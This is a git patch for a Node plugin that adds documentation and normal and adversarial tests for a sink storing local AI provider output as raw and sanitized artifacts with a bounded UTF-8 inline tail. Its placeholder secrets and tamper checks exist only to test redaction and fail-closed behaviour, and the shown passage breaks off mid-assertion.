48c1a1cef1f546fe85eeb1c600dd6692b8bc0471 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:21:43 +0000 Subject: [PATCH 31/81] test(provider): cover Grok Cursor and DSH result limits Add deterministic P11 fixtures and normal/adversarial coverage for Grok, Cursor Local, and DSH output forms: direct strings, JSON values, and stream chunks; empty, exact 4096, Unicode-boundary, oversize, and source-truncated tails; proxy/accessor/malformed input; split-token redaction; conflict, tamper, restart, and after-raw sanitized failure; plus injected ACP/CLI worker seams that preserve 3.2.1 result shapes. Record the sink in CHANGELOG and future-work, including ambient umask variance as a recorded fixture note rather than a runtime change. --- CHANGELOG.md | 22 + docs/future-work.md | 21 +- docs/r1-local-provider-result-sink.md | 78 ++++ ...r1-local-provider-result-sink-fixtures.mjs | 121 +++++ ...-provider-result-sink-adversarial.test.mjs | 314 +++++++++++++ .../r1-local-provider-result-sink.test.mjs | 431 ++++++++++++++++++ 6 files changed, 983 insertions(+), 4 deletions(-) create mode 100644 docs/r1-local-provider-result-sink.md create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index f469565..df74959 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,28 @@ ### Added +- **Local provider result sink.** Adds additive v3 + `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, + Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted + P08/P09 raw+sanitized artifact store through one provider-neutral sink, + binding exact `run_id` / `assignment_id` / `provider` / `model` / optional + child-envelope digest identity into the ArtifactRefV1 path. The complete + transport-available result is stored up to the existing class cap; older + output is never silently discarded, empty results stay unpublished, and a + source that the upstream already clipped is persisted with truthful + `source_truncated` / `complete` provenance. Only sanitized artifacts are + model-readable. The receipt is detached deep-frozen content-free + metadata (raw/sanitized refs, P09 provenance, digests, counts, + truncation) plus a default inline tail of at most 4,096 UTF-8 bytes + derived through the accepted P10 sanitized reader and aligned on a valid + UTF-8 boundary, with inline clipping recorded separately from upstream + truncation. The ACP worker is the only serialized seam: it preserves + 3.2.1 `task.result` / `result_*` and event/terminal shapes, attaches + optional `provider_result_sink` metadata only after provider terminal + publication, and records typed content-free evidence on sink failure + without inventing completion or replaying provider work. Coverage lives + in `test/r1-local-provider-result-sink.test.mjs` and + `test/r1-local-provider-result-sink-adversarial.test.mjs`. - **Atomic raw/sanitized artifact store.** Adds the additive v3 `artifact-store.mjs` module for W4-P08: it binds validated ArtifactRefV1 declarations to real bytes under one caller-supplied existing private store diff --git a/docs/future-work.md b/docs/future-work.md index 1f20fe7..3a5fb96 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -21,10 +21,23 @@ preflight/launch/reconcile/cancel requests and results against the accepted P05 13-field capability bridge. It does not implement Grok, Cursor Local, DSH, or Cursor Cloud transports, registry cutover, scheduler, or durable store; those remain P18/P20/P19/P21 and later -run-runtime work. This worktree does not implement the run runtime, -candidate composition, or `AttentionBatchV1`. Gate A remains the -functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +run-runtime work. + +The P11 local provider result sink is in-tree as an additive +provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH +ACPX/CLI output is published through the accepted P09 sanitizer and P08 +store, with a P10-derived sanitized inline tail. It does not implement +P12 evidence bundles, supervisor/server MCP registration, cloud-worker +sinks, cleanup, or run runtime. `acp-worker.mjs` is the only serialized +seam; 3.2.1 `task.result` bounding is unchanged. Ambient umask variance +for P08 store-root `mkdtemp` privacy is recorded here and is not +runtime-changed: P11 fixtures `chmod 0700` after creating their own +roots and do not include optional P08 umask test-fixture +determinization. + +This worktree does not implement the run runtime, candidate composition, +or `AttentionBatchV1`. Gate A remains the functional release authority; +Gate B context-efficiency and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/r1-local-provider-result-sink.md b/docs/r1-local-provider-result-sink.md new file mode 100644 index 0000000..8085240 --- /dev/null +++ b/docs/r1-local-provider-result-sink.md @@ -0,0 +1,78 @@ +# Local provider result sink (P11) + +Additive v3 contract over the accepted P09 sanitizer, P08 store, and P10 +sanitized reader. It routes **final** local Grok ACP, Cursor Local ACP, and +DSH ACPX/CLI provider output into raw+sanitized artifact storage through +one provider-neutral sink. It does not replace 3.2.1 +`task.result` / `result_*` bounding. + +## Entry + +```js +sinkLocalProviderResultV1(store, options) +``` + +- `store` is a handle from `openArtifactStoreV1` (or + `openLocalProviderArtifactStoreV1` under a state root). +- `options` is a direct JSON object with only: + - `run_id`, `assignment_id`, `provider`, `model` — exact identity + - `child_envelope_digest` — optional lowercase 64-hex digest + - `source` — string, JSON value, intrinsic Buffer/Uint8Array, or async + iterable of string/byte chunks + - `source_truncated` — optional exact boolean + - `media_type` — optional identity-encoded text media type + +Local providers only: `grok`, `cursor-local`, `dsh`. Cursor Cloud is +denied. Identities are never guessed from `task.id`. + +## Publication + +The sink snapshots the complete transport-available source up to the +existing raw class cap (32 MiB) and publishes through +`sanitizeAndPublishArtifactV1`. Older output is never silently dropped. +Crossing a class cap fails closed rather than clipping toward the cap. If +the upstream/transport was already clipped, available bytes are stored and +`source_truncated` / `complete` are recorded truthfully. + +Empty sources are not published and do not invent an artifact. A +publication that does not verify is not reported. + +Only sanitized artifacts are model-readable. The return is detached +deep-frozen content-free metadata: raw/sanitized `ArtifactRefV1` values, +P09 provenance, digests, redaction counts, truncation, and the inline +tail. Never raw bytes, secrets, prompt text, store roots, or live handles. + +## Inline tail + +After verify, the sink reads the sanitized artifact through +`readSanitizedArtifactV1` and retains at most 4,096 UTF-8 bytes from the +end, aligned on a valid UTF-8 boundary. + +- `inline_clipped` is true when the inline window is shorter than the + sanitized artifact. +- `source_truncated` / `complete` are the P09 provenance facts, never + inferred from the tail length. +- `reader_clipped` is the P10 range/wire fact. + +No secret may appear in the tail: split-token and chunk-boundary redaction +remain P09's. + +## Worker seam + +`acp-worker.mjs` is the only serialized integration. It publishes the +legacy bounded `task.result` first, then attaches optional +`provider_result_sink` metadata. Sink failure after provider terminal is +typed content-free evidence; it does not invent completion, change +provider status, or replay work. Tasks without exact run/child/model +identity keep the 3.2.1 path unchanged. + +Provider completion remains evidence, never acceptance. + +## Non-goals + +P12 evidence bundles, supervisor/server MCP registration, P18/P20 +transports, cleanup, scheduler, cloud-worker sinks, and protected refs +remain unclaimed. This module does not edit `task-store.mjs`. Ambient +umask variance for P08 store-root fixtures is recorded in +[future-work.md](future-work.md); P11 fixtures chmod `0700` after +creation and do not change process umask. diff --git a/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs new file mode 100644 index 0000000..987649a --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs @@ -0,0 +1,121 @@ +// Fixtures for the P11 local provider result sink tests. +// +// Pure data builders, tiny local helpers, and pinned secrets. Store-root +// helpers chmod 0700 after creation and never change process umask. + +import { createHash } from 'node:crypto'; +import { chmodSync, mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, +} from '../../mcp/v3/local-provider-result-sink.mjs'; + +export const RUN_ID = 'run-p11-sink'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; +export const CHILD_C = 'lane-gamma'; + +export const GROK_MODEL = 'grok-code'; +export const CURSOR_MODEL = 'auto'; +export const DSH_MODEL = 'muse-spark-1.2-contributor'; + +export const SECRET = 'sk-live-secret-1234567890'; +export const SPLIT_SECRET = 'sk-split-token-1234567890'; +export const PROMPT_SECRET = 'do not echo this instruction'; +export const REPLACEMENT = '[REDACTED]'; + +export const INLINE_TAIL_MAX = LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p11-sink-') { + const root = mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); + chmodSync(root, 0o700); + return root; +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function identityFor(provider, overrides = {}) { + const model = provider === 'dsh' + ? DSH_MODEL + : provider === 'cursor-local' + ? CURSOR_MODEL + : GROK_MODEL; + return { + run_id: RUN_ID, + assignment_id: CHILD_A, + provider, + model, + ...overrides, + }; +} + +export function grokText(suffix = 'VERDICT: GROK PASS') { + return `grok local acp output\n${suffix}`; +} + +export function cursorText(suffix = 'VERDICT: CURSOR PASS') { + return `cursor-local acp output\n${suffix}`; +} + +export function dshObject(suffix = 'VERDICT: DSH OBJECT PASS') { + return { + progress: 'dsh-progress', + nested: { final: suffix }, + }; +} + +export async function* chunksOf(bytes, size = 8) { + const view = Buffer.isBuffer(bytes) ? bytes : Buffer.from(bytes, 'utf8'); + const width = Math.max(1, size); + for (let offset = 0; offset < view.byteLength; offset += width) { + yield view.subarray(offset, Math.min(offset + width, view.byteLength)); + } +} + +export async function* splitStringChunks(text, at) { + yield text.slice(0, at); + yield text.slice(at); +} + +export function exact4096(suffix = 'TAIL') { + const suffixBytes = Buffer.byteLength(suffix, 'utf8'); + const prefix = 'a'.repeat(INLINE_TAIL_MAX - suffixBytes); + return `${prefix}${suffix}`; +} + +export function unicodeSplitWindow() { + const wolf = '🐺'; + const prefix = 'p'.repeat(10); + const suffix = 's'.repeat(4093); + return `${prefix}${wolf}${suffix}`; +} + +export function oversizeTail(suffix = 'VERDICT: OVERSIZE PASS') { + return `${'x'.repeat(5000)}${suffix}`; +} + +export function conflictingSanitizedRef(relativePath, bytes) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'provider_report', + artifact_class: 'sanitized', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + }; +} + +export class SubclassedBytes extends Uint8Array {} diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs new file mode 100644 index 0000000..b6160d9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs @@ -0,0 +1,314 @@ +import assert from 'node:assert/strict'; +import { writeFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; +import { publishArtifactV1, openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + contentFreeSinkFailureV1, + sinkLocalProviderResultV1, +} from '../mcp/v3/local-provider-result-sink.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + CHILD_B, + PROMPT_SECRET, + REPLACEMENT, + RUN_ID, + SECRET, + SPLIT_SECRET, + SubclassedBytes, + conflictingSanitizedRef, + digestOf, + grokText, + identityFor, + makeStoreRoot, + removeRoot, + splitStringChunks, +} from './fixtures/r1-local-provider-result-sink-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, secrets) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + for (const secret of secrets) { + assert.equal(message.includes(secret), false, `error leaked ${secret}`); + } +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('proxy accessor and subclassed sources fail closed without running traps', async () => { + await withStore(async (store, root) => { + const { proxy, counts } = countingProxy({ + ...identityFor('grok'), + source: grokText(), + }); + const proxied = await expectCode( + () => sinkLocalProviderResultV1(store, proxy), + 'proxy_denied', + ); + assert.ok(trapTotal(counts) <= 2); + assertContentFree(proxied, root, [SECRET]); + + const sourceProxy = countingProxy(Buffer.from(grokText(), 'utf8')); + const proxiedSource = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source: sourceProxy.proxy, + }), + 'proxy_denied', + 'source', + ); + assertContentFree(proxiedSource, root, [SECRET]); + + const trap = { ran: 0 }; + const accessor = { + ...identityFor('dsh'), + get source() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }; + const access = await expectCode( + () => sinkLocalProviderResultV1(store, accessor), + 'accessor_property_denied', + 'options.source', + ); + assert.equal(trap.ran, 0); + assertContentFree(access, root, [SECRET]); + + const subclassed = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: new SubclassedBytes(Buffer.from(grokText(), 'utf8')), + }), + 'artifact_stream_invalid_source', + 'source', + ); + assertContentFree(subclassed, root, [SECRET]); + }); +}); + +test('malformed unknown and cloud-provider inputs fail closed', async () => { + await withStore(async (store, root) => { + const unknown = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + extra: true, + }), + 'unknown_key', + ); + assertContentFree(unknown, root, [SECRET]); + + const missing = await expectCode( + () => sinkLocalProviderResultV1(store, { + assignment_id: 'lane-alpha', + provider: 'grok', + model: 'grok-code', + source: grokText(), + }), + 'missing_key', + 'options.run_id', + ); + assertContentFree(missing, root, [SECRET]); + + const cloud = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + provider: 'cursor-cloud', + source: grokText(), + }), + 'local_provider_required', + 'options.provider', + ); + assertContentFree(cloud, root, [SECRET]); + + const badId = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + assignment_id: 'Lane_Nope', + source: grokText(), + }), + 'invalid_format', + 'options.assignment_id', + ); + assertContentFree(badId, root, [SECRET]); + }); +}); + +test('secret splits across chunks never appear in receipts tails or errors', async () => { + await withStore(async (store, root) => { + const body = `work output ${SPLIT_SECRET} and prompt: "${PROMPT_SECRET}"\nVERDICT: SECRET PASS`; + const at = body.indexOf(SPLIT_SECRET) + 8; + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: splitStringChunks(body, at), + }); + const serialized = JSON.stringify(receipt); + assertNoSecret(serialized, root); + assert.equal(receipt.inline_tail.text.includes(SPLIT_SECRET), false); + assert.equal(receipt.inline_tail.text.includes(PROMPT_SECRET), false); + assert.equal(receipt.inline_tail.text.includes(SECRET), false); + assert.match(receipt.inline_tail.text, /VERDICT: SECRET PASS$/u); + assert.match(receipt.inline_tail.text, new RegExp(REPLACEMENT, 'u')); + const page = await readSanitizedArtifactV1(store, receipt.sanitized_ref, { + offset: 0, + max_bytes: 8192, + }); + const sanitized = Buffer.from(page.selected_content, 'base64').toString('utf8'); + assert.equal(sanitized.includes(SPLIT_SECRET), false); + assert.equal(sanitized.includes(PROMPT_SECRET), false); + assert.match(sanitized, /VERDICT: SECRET PASS$/u); + }); +}); + +function assertNoSecret(serialized, root) { + assert.equal(serialized.includes(root), false); + assert.equal(serialized.includes(SPLIT_SECRET), false); + assert.equal(serialized.includes(PROMPT_SECRET), false); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes('private fallback prompt'), false); +} + +test('idempotent restart succeeds and conflicting or tampered artifacts fail closed', async () => { + await withStore(async (store, root) => { + const source = grokText(); + const first = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + const restart = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + assert.equal(restart.published, true); + assert.equal(restart.raw_digest, first.raw_digest); + assert.equal(restart.sanitized_digest, first.sanitized_digest); + assert.equal(restart.inline_tail.text, first.inline_tail.text); + + const conflict = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source: `${source} different trailing bytes\n`, + }), + 'artifact_content_conflict', + ); + assertContentFree(conflict, root, [SECRET]); + + const other = Buffer.from('tampered sanitized bytes that are not the original\n', 'utf8'); + await publishArtifactV1(store, conflictingSanitizedRef( + `runs/${RUN_ID}/${CHILD_B}/provider-report.txt`, + other, + ), other); + const afterRaw = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: CHILD_B }), + source: grokText('VERDICT: AFTER RAW'), + }), + 'artifact_content_conflict', + ); + assertContentFree(afterRaw, root, [SECRET, 'VERDICT: AFTER RAW']); + }); +}); + +test('tamper after publication is not reported as a verified artifact on restart', async () => { + await withStore(async (store, root) => { + const source = grokText('VERDICT: TAMPER PASS'); + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + const content = path.join( + store.root, 'sanitized', 'content', receipt.relative_path, + ); + writeFileSync(content, Buffer.alloc(receipt.sanitized_byte_length, 0x62)); + const tampered = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }), + 'artifact_digest_mismatch', + ); + assertContentFree(tampered, root, [SECRET, 'VERDICT: TAMPER PASS']); + }); +}); + +test('content-free sink failure evidence never carries bytes secrets or handles', () => { + const contract = new RunContractV1Error('artifact_content_conflict', 'artifact_ref', + 'Conflicting content at one location is refused.'); + const evidence = contentFreeSinkFailureV1(contract); + assert.equal(evidence.schema, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID); + assert.equal(evidence.published, false); + assert.deepEqual(Object.keys(evidence), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); + assert.equal(evidence.error.code, 'artifact_content_conflict'); + assert.equal(Object.isFrozen(evidence), true); + + const noisy = new Error(`failed to write ${SECRET} at /tmp/not-a-real-store`); + const fallback = contentFreeSinkFailureV1(noisy); + assert.equal(fallback.error.code, 'artifact_sink_failed'); + assert.equal(JSON.stringify(fallback).includes(SECRET), false); + assert.equal(JSON.stringify(fallback).includes('/tmp/not-a-real-store'), false); + assert.equal(utilTypes.isProxy(fallback), false); +}); + +test('string chunk streams that are not intrinsic views still sanitize split tokens', async () => { + await withStore(async (store, root) => { + const text = `prefix ${SECRET} trailing VERDICT: CHUNK PASS`; + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: splitStringChunks(text, text.indexOf(SECRET) + 4), + }); + const serialized = JSON.stringify(receipt); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes(root), false); + assert.match(receipt.inline_tail.text, /VERDICT: CHUNK PASS$/u); + assert.match(receipt.inline_tail.text, new RegExp(REPLACEMENT, 'u')); + }); +}); + +test('sink never echoes a declared digest from a hostile raw ref constructor', async () => { + await withStore(async (store, root) => { + const error = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + media_type: 'application/octet-stream', + }), + 'invalid_format', + 'options.media_type', + ); + assertContentFree(error, root, [SECRET]); + assert.equal(error.message.includes(ARTIFACT_REF_SCHEMA_ID) || error.code === 'invalid_format', true); + assert.equal(digestOf(Buffer.from(grokText(), 'utf8')) === error.message, false); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs new file mode 100644 index 0000000..fce530c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -0,0 +1,431 @@ +import assert from 'node:assert/strict'; +import { chmodSync, readFileSync } from 'node:fs'; +import { mkdtemp, mkdir } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS, + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, + LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, + LOCAL_PROVIDER_RESULT_SINK_PROVIDERS, + LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS, + LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + LOCAL_PROVIDER_RESULT_SINK_VERSION, + collectCliProviderOutputV1, + createLocalProviderResultCollectorV1, + localProviderResultIdentityFromTaskV1, + openLocalProviderArtifactStoreV1, + sinkLocalProviderResultV1, +} from '../mcp/v3/local-provider-result-sink.mjs'; +import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; +import { runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createTask, readTask } from '../mcp/v3/task-store.mjs'; +import { + CHILD_B, + CURSOR_MODEL, + DSH_MODEL, + GROK_MODEL, + INLINE_TAIL_MAX, + RUN_ID, + REPLACEMENT, + SECRET, + SPLIT_SECRET, + chunksOf, + cursorText, + dshObject, + exact4096, + grokText, + identityFor, + makeStoreRoot, + oversizeTail, + removeRoot, + splitStringChunks, + unicodeSplitWindow, +} from './fixtures/r1-local-provider-result-sink-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); +const FAKE_ACPX = path.join(HERE, 'fake-acpx.mjs'); +const FAKE_CLI_TERMINAL_VERDICT = path.join(HERE, 'fake-cli-terminal-verdict.mjs'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +async function readAllSanitized(store, ref) { + let offset = 0; + const parts = []; + for (;;) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: 8192 }); + parts.push(Buffer.from(page.selected_content, 'base64')); + if (page.more !== true) { + return Buffer.concat(parts).toString('utf8'); + } + offset = page.next_offset; + } +} + +function assertReceiptShape(receipt, { published = true, empty = false } = {}) { + assert.equal(receipt.schema, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID); + assert.equal(receipt.version, LOCAL_PROVIDER_RESULT_SINK_VERSION); + assert.deepEqual(Object.keys(receipt), [...LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS]); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(receipt.published, published); + assert.equal(receipt.empty, empty); + assert.equal(receipt.artifact_kind, LOCAL_PROVIDER_RESULT_ARTIFACT_KIND); +} + +function assertNoLeak(serialized, root, secrets) { + assert.equal(serialized.includes(root), false, 'receipt echoed the store root'); + for (const secret of secrets) { + assert.equal(serialized.includes(secret), false, `receipt leaked ${secret}`); + } +} + +test('the closed sink vocabulary and caps are exported frozen', () => { + assert.equal(LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, 'codex-co-engineer.local-provider-result-sink.v1'); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_VERSION, 1); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, 4096); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS), true); + assert.equal(Object.isFrozen(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES), true); + assert.deepEqual([...LOCAL_PROVIDER_RESULT_SINK_PROVIDERS], ['grok', 'cursor-local', 'dsh']); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS.includes('inline_tail')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('local_provider_required')); +}); + +test('the sink module uses P09/P10/P08 authorities and does not import protected seams', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/local-provider-result-sink.mjs', import.meta.url)), 'utf8'); + assert.match(source, /sanitizeAndPublishArtifactV1/u); + assert.match(source, /readSanitizedArtifactV1/u); + assert.match(source, /verifyStoredArtifactV1/u); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('provider-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-worker.mjs'), false); +}); + +test('Grok Cursor and DSH strings JSON values and stream chunks publish under exact identity', async () => { + await withStore(async (store, root) => { + const grok = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + }); + assertReceiptShape(grok); + assert.equal(grok.run_id, RUN_ID); + assert.equal(grok.assignment_id, 'lane-alpha'); + assert.equal(grok.provider, 'grok'); + assert.equal(grok.model, GROK_MODEL); + assert.equal(grok.raw_ref.artifact_class, 'raw'); + assert.equal(grok.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(grok.raw_ref.relative_path, grok.sanitized_ref.relative_path); + assert.equal(grok.complete, true); + assert.equal(grok.source_truncated, false); + assert.equal(grok.inline_tail.inline_clipped, false); + assert.equal(grok.inline_tail.text, grokText()); + assert.equal(await readAllSanitized(store, grok.sanitized_ref), grokText()); + assert.equal(grok.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + assertNoLeak(JSON.stringify(grok), root, [SECRET]); + + const cursor = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local', { assignment_id: CHILD_B }), + source: Buffer.from(cursorText(), 'utf8'), + }); + assert.equal(cursor.provider, 'cursor-local'); + assert.equal(cursor.model, CURSOR_MODEL); + assert.equal(cursor.inline_tail.text, cursorText()); + + const dshJson = dshObject(); + const dsh = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: 'lane-gamma' }), + source: dshJson, + }); + assert.equal(dsh.provider, 'dsh'); + assert.equal(dsh.model, DSH_MODEL); + assert.equal(dsh.media_type, 'application/json'); + assert.equal(dsh.inline_tail.text, JSON.stringify(dshJson)); + + const streamed = 'streamed grok chunk-1chunk-2 VERDICT: STREAM PASS'; + const streamReceipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: 'lane-delta' }), + source: chunksOf(streamed, 7), + }); + assert.equal(await readAllSanitized(store, streamReceipt.sanitized_ref), streamed); + assert.equal(streamReceipt.inline_tail.text, streamed); + }); +}); + +test('empty results do not invent an artifact and exact 4096 stays unclipped', async () => { + await withStore(async (store) => { + const empty = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: '', + }); + assertReceiptShape(empty, { published: false, empty: true }); + assert.equal(empty.raw_ref, null); + assert.equal(empty.sanitized_ref, null); + assert.equal(empty.inline_tail, null); + assert.equal(empty.source_byte_length, 0); + + const payload = exact4096('END!'); + assert.equal(Buffer.byteLength(payload, 'utf8'), INLINE_TAIL_MAX); + const exact = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local', { assignment_id: CHILD_B }), + source: payload, + }); + assert.equal(exact.published, true); + assert.equal(exact.inline_tail.inline_clipped, false); + assert.equal(exact.inline_tail.source_truncated, false); + assert.equal(exact.inline_tail.byte_length, INLINE_TAIL_MAX); + assert.equal(exact.inline_tail.text.endsWith('END!'), true); + assert.equal(exact.source_byte_length, INLINE_TAIL_MAX); + }); +}); + +test('inline tails distinguish UTF-8 alignment clipping from source truncation', async () => { + await withStore(async (store) => { + const window = unicodeSplitWindow(); + const unicode = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: window, + }); + assert.equal(unicode.inline_tail.inline_clipped, true); + assert.equal(unicode.inline_tail.source_truncated, false); + assert.equal(unicode.complete, true); + assert.equal(unicode.inline_tail.text.isWellFormed(), true); + assert.equal(unicode.inline_tail.text.includes('\uFFFD'), false); + assert.ok(unicode.inline_tail.byte_length <= 